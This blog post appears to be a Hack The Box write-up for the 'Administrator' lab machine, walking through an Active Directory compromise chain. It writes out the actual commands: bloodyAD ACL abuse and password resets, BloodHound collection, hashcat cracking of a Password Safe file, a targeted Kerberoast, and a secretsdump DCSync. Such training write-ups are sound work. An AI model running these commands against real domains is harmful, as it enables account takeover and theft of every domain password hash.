HTB: Administrator
← Back to the log
November 17, 2026·Johnytiger

HTB: Administrator

Administrator is a pure Active Directory chain. Starting from a handed set of credentials, we abuse a trail of ACLs, resetting one user's password to reach the next, pivot through an FTP-hosted Password Safe database we crack with hashcat, Kerberoast our way into another account, and finish with a DCSync as ethan to dump the Administrator hash and own the domain.

securityctfwriteuphacktheboxwindowsactive directorybloodhoundkerberoastingdcsyncacl abuse

We're handed a set of credentials for a user on the box, so let's spray them with netexec and see whether SMB or WinRM is open to us.

Spraying the provided credentials with netexec and getting a WinRM hit as olivia

We've got WinRM access as olivia. Let's log in and check what privileges the account holds.

A WinRM session as olivia checking the account privileges

Good start. Now let's see what else we can reach, maybe some ACLs are open to us. We'll use bloodyAD for that.

bloodyAD --host 10.129.132.21 -d administrator.htb -u olivia -p 'ichliebedich' get writable --detail

bloodyAD showing olivia has write access over the user michael

We have write access over the user Michael. Let's reset his password.

bloodyAD --host 10.129.132.21 -d administrator.htb -u olivia -p 'ichliebedich' set password 'CN=Michael Williams,CN=Users,DC=administrator,DC=htb' 'Poseidon123!'

Resetting the michael password with bloodyAD, returning success

Success. Logging in as michael and checking for writables with bloodyAD shows us a few things.

bloodyAD --host 10.129.132.21 -d administrator.htb -u michael -p 'Poseidon123!' get writable --detail

bloodyAD listing what the michael account can write to

Nothing jumps out there, so let's keep enumerating this account, this time with BloodHound.

bloodhound-python -u michael -p 'Poseidon123!' -d administrator.htb -ns 10.129.132.21 -dc DC.administrator.htb -c All --zip

BloodHound showing michael can force change the password on benjamin

BloodHound shows michael can ForceChangePassword on benjamin, so let's do exactly that.

bloodyAD --host 10.129.132.21 -d administrator.htb -u michael -p 'Poseidon123!' set password benjamin 'Poseidon123!'

We get a success, but WinRM as benjamin doesn't give us a shell. Back to netexec to look for other angles. Our nmap scan shows an FTP server running, so maybe benjamin can get in there instead.

Logging into the FTP server as benjamin and finding a Password Safe file

We're in, and there's a .psafe3 file (a Password Safe database) sitting on the share. Let's pull it down to our Kali box, remembering to switch FTP to binary mode so the download doesn't come over corrupted.

Downloading the psafe3 Password Safe database in binary mode

Now let's try to crack the database's master password with hashcat.

hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt

hashcat cracking the Password Safe master password

It cracks. We grab the Password Safe application, open the database, and find passwords for three more users. Time to spray those and see what we land.

Spraying the recovered passwords and getting a WinRM hit as emily

We now have WinRM as emily. Let's log in and look around.

A WinRM session as emily

Over on emily's desktop we find the user.txt flag.

The user flag on the emily desktop, blurred

Let's run BloodHound as emily and hunt for new angles from here.

BloodHound showing emily has GenericWrite over ethan

emily has GenericWrite over ethan, which means we can Kerberoast him: write a fake SPN onto the account, then request a service ticket for it and crack that ticket offline.

bloodyAD --host 10.129.132.21 -d administrator.htb -u emily -p '<emily-password>' set object ethan servicePrincipalName -v 'http/roast.administrator.htb'

impacket-GetUserSPNs administrator.htb/emily:'<emily-password>' -dc-ip 10.129.132.21 -request-user ethan -outputfile ethan.hash

The ticket cracks easily.

Kerberoasting ethan and cracking the service ticket hash

With ethan's password in hand, let's see what he can do.

BloodHound showing ethan can perform a DCSync on the domain

ethan can perform a DCSync, which lets us pull the domain's password hashes straight from the DC, the Administrator's included. Let's run secretsdump.

impacket-secretsdump administrator.htb/ethan:'<ethan-password>'@10.129.132.21

Running secretsdump as ethan to pull the domain password hashes

We're in business. We log in as administrator over WinRM, head to the desktop, and grab the root.txt flag.

The root flag on the administrator desktop, blurred

This box felt pretty real, a great way to practice chaining AD ACLs together and constantly checking for new angles to move through the domain.

End of transmissionAll posts
Drive
Johnytiger
HTB: Administrator · Johnytiger